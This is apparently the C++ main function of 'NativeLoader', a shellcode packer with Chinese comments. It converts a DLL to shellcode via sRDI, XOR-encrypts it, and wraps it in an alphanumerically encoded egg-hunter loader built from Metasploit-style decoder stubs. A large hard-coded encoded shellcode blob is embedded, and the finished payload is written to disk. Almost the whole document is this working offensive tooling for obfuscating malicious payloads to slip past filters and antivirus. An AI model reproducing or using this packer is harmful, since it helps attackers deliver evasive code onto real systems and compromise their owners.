hello

int main(int argc, char *argv[], char *envp[])
{
    LPSTR finalShellcode = NULL, data = NULL;
    DWORD finalSize, dataSize;


    if (argc <2) {
        printf("\n[!] Usage:\n\n\tNativeLoader.exe <DLL File>\n\tNativeLoader.exe <Shellcode Bin>\n");
        return 0;
    }

    if (!GetFileContents(argv[1], &data, dataSize)) {
        printf("\n[!] Failed to load file\n");
        return 0;
    }

    //加密dll
    if (data[0] == 'M' && data[1] == 'Z') {
        printf("[+] File is a DLL, attempting to convert\n");

        if (!ConvertToShellcode(data, dataSize, HashFunctionName("SayHello"), "dave", 5, SRDI_CLEARHEADER, finalShellcode, finalSize)) {
            printf("[!] Failed to convert DLL\n");
            return 0;
        }

        printf("[+] Successfully Converted\n");
        PBYTE p = (PBYTE)finalShellcode;
        for (size_t i = 0; i < finalSize; i++)
        {
            *p ^= PASSWORD;
            p++;
        }
        printf("[+] Successfully use pssword\n");

    }
    else {
        printf("\n[!] Dll file pe erro\n");
        return 0;
    }

    //加载大shell
    DWORD ShellCodeSize = (DWORD)EndSign - (DWORD)ShellCode;
    PBYTE evil = new BYTE[ShellCodeSize];
    RtlCopyMemory(evil, (BYTE *)ShellCode, ShellCodeSize);


    char* szShellCode = new char[8192];
    RtlZeroMemory(szShellCode, sizeof(szShellCode));

    char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    char* edi = "3 -r wootwootWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"; //wootwoot定位字符, edi指向shell头设定
    RtlCopyMemory(szShellCode, edi, strlen(edi));

    char*p = szShellCode + strlen(edi);

    int   input, A, B, C, D, E, F;

    int   unicode = 0;
    for (int j = 0; j<ShellCodeSize; j++)//对 加载pe加密shell的load shell 进行字符串化
    {
        input = evil[j];
        A = (input & 0xf0) >> 4;
        B = (input & 0x0f);

        F = B;
        int i = rand() % strlen(valid_chars);
        while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
        E = valid_chars[i] >> 4;
        D = unicode ? (A - E) & 0x0f : (A^E);
        i = rand() % strlen(valid_chars);
        while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
        C = valid_chars[i] >> 4;
        *p++ = (C << 4) + D;
        *p++ = (E << 4) + F;
    }


    char* szconst = "";
    printf("%s\n\n", szShellCode);//加载pe加密shell的load shell(字符串形式)
    delete[]evil;
    strcat(szShellCode,
        "3 -r wootwootWYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIQELKJLMQZLY0EQUPUPPSPVPW9V75ZX3SIVW5ZYFNO6QUZZ2DYVQUKK2BK0E5KL5PHFLE8LKNKOKO1SYVMU8MKNKOKO42O6MUXNKNKOKOSUXFK5HOKNKOKOCQHFK5N0KNKOKOD4O6LEN1KNKOKO3UHFLEHRKNKOKOPFO6K5XSKNKOKOBIO6LEHTKNKOKORLXFMUYEKNKOKOSU9VMU8VKNKOKOQQMPOUIGKNKOKOEP9VMUNTKNKOKOW7YVK5OEKNKOKO2EIVLENVKNKOKORTO6LEH7KNKOKOPMYVMUNXKNKOKO2OYVMUNYKNKOKO2DO6MUNZKNKOKO3E9VK5OKKNKOKORLO6K5OLKNKOKOREYVLEOMKNKOKOQVO6K5ONKNKOKORIYVK5OOKNKOKO2LO6MUYPKNKOKOU58FLEYQKNKOKOPNXFK59RKNKOKOU1XFMUO3KNKOKO2MYVMUO4KNKOKOCU8FK5XEKNKOKO1QK0NEXFKNKOKOEPHFMUNDKNKOKO2LO6K5Y5KNKOKOCCO6MUOVKNKOKOSDO6LE97KNKOKOBRYVMUNHKNKOKO53YVLE99KNKOKO3QYVK5OZKNKOKO44O6K5NKKNKOKOQQMPI5NLKNKOKO5PXFMUJ0KNKOKOQFYVLELQKNKOKO3YO6MULRKNKOKO42XFMULSKNKOKO44XFMUMDKNKOKO3EXFK5Z5KNKOKOCQO6MUZ6KNKOKO2L8FLELWKNKOKOW1YVK5Z8KNKOKO2LYVLELYKNKOKO2LYVK5LZKNKOKOBOO6MUMKKNKOKO2CK0NEMLKNKOKOS09VMUSLKNKOKOF2O6MU3MKNKOKO2E9VLE3NKNKOKOU1YVMU3OKNKOKOE4O6MUK0KNKOKO1VO6MUK1KNKOKOSY9VLELBKNKOKORLYVK5K3KNKOKO2EMPOUMTKNKOKO30O6LERHKNKOKO2LYVMUU9KNKOKOBSXFMURJKNKOKO2TIVK52KKNKOKOT2O6MURLKNKOKORLIVMURMKNKOKOCUYVK5RNKNKOKO2NO6LEROKNKOKOQQK0OUD0KNKOKOEPZHLCEQUPUPLMK5XLKNKOKOPPKORUJTKOLUILKNKOKOK9MUMXKNKOKOLMMUNTKNKOKOPPKOT5JTKOLUYLKNKOKOK9K5NPKNKOKOLMMUNDKNKOKO0PKORUKDKOLUYLKNKOKOK9PEM8LMMUJ0KNKOKO60KOSEKDKOLUILKNKOKOLIMUE0KNKOKOLMLESLKNKOKOPPKO2UL4KOLUYLKNKOKOMYMUXXKNKOKOLMMUSXKNKOKOV0KOT5L4KOLUYLKNKOKOMY0EJLRH5T31EPEPLMLEM4KNKOKOF03Z5PKOJ5NPKNKOKOLMMUM4KNKOKOPPKOV5ZLMYLEOPKNKOKOLKK5OPKNKOKOTOONMTUUJCKNKOKOLCZX1LSDTOLKLEI0KNKOKO78MYMUY0KNKOKOJKYNLKMUOPKNKOKOMPND35ZDKNKOKO5PLMPEL80PLMK5ZDKNKOKOPPKOF5M82J30BJ7PBJ5S2JUPRJ5Q2HS0UPS0MPLMLEKTKNKOKOPPKOJ5MXKNKOKOLIMULLKNKOKORJ70SXEP4PUPUP3X5PEPTPS0CZUPKOMESPKNKOKOK9MURDKNKOKOSZEPLMMURTKNKOKO0PSXUPC04PS0KONU2DKNKOKOKOX5LLKNKOKOKOLU9HKNKOKOK3OUHHKNKOKO5PLKLECTKNKOKODCMUYXKNKOKOTOOFEPK5IPT4DOLKK59XKNKOKOQPMYMU9XKNKOKOJKYNLKMUIXKNKOKOLKLMSTKNKOKOLMW4C1UQMYMU48KNKOKOLKK5RXKNKOKOKOKPX9P0EPEP5PSTLKUQ2DLKUMVP5P30EPLKQKTLLKQKTTLKEKLK5KLK1STPLIG5L4LKSMZTLK77WLLK645W2X339GMYF5L0LKQEZPLKBZ4XLKT2WP5SD5L4FSXIWKHORTWOLKULLNS31ML4MQGKW7RERT0PD5VNMQCK342R2O3S1Q3EQ5SPLKRUJPLKQNWT33QML4LKD65L332UJTLKXQDOOG4LF3LK5TLNESQUKDMYMUYLKNKOKOU1JKUSQQJKOMO3ACLKTDLN5SQUJPK9LEN8KNKOKOU1ZKS3G1JKOM9SACACCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBBBBBBBBBBBBBBBBBBB01238888ABBAA愲悙X鄲桷PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIH9RaQQW11QOKQapQQQSpP3xYlyBpEPgpGpF1pQKOFsskSilKihLKn88k7uCnl2nDioXcM8xvKOioKOoq8l7pwt7pS0KLJKDa2yLxRWROPoPtpQrJkO03YKSTMYWSRJ32PYnkkK8sNO3EGwIoJGQvoqzkkODO3sJKZMkXyJYoyoYoQz4LryLKs4flNQOHk37tUXwvrxMSo4VpPP4syPO3A悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙怱01CKOHURC512L3SC0AABBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCcCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD3蓯备愲[悑$悏冹X兡P3缾脨桢悙窧BBAH孅GOW痏u鷲兦鏰aaaaaaaaa牒ZZc"
    );
    char e[] = { 0x0d,0x0a,0 }; //这2个字节字符串形式无法组织字符串单独复制
    strcat(szShellCode, e);
    printf("%s\n", szShellCode);//这里全部投shell组织完成
                                //合并一个文件
    int iLenShellCode = strlen(szShellCode) + 1;
    int iAll = iLenShellCode + finalSize;//shell头+0+pe加密shell 总长度
    evil = new BYTE[iAll];
    RtlZeroMemory(evil, iAll);
    RtlCopyMemory(evil, szShellCode, iLenShellCode);//复制shell头
    PBYTE p0 = evil + iLenShellCode;
    RtlCopyMemory(p0, finalShellcode, finalSize);//复制pe加密shell
    free(finalShellcode);
    delete[]szShellCode;

    ofstream fout;
    fout.open("a", ios_base::binary | ios::trunc);
    if (!fout.is_open())
    {
        cout << "Error Out Open..." << endl;
        return -1;
    }
    cout << "file size :" << iLenShellCode + finalSize << endl;
    fout.write((char*)evil, iLenShellCode + finalSize);
    fout.close();
    delete[]evil;
    system("pause");
    return 0;
}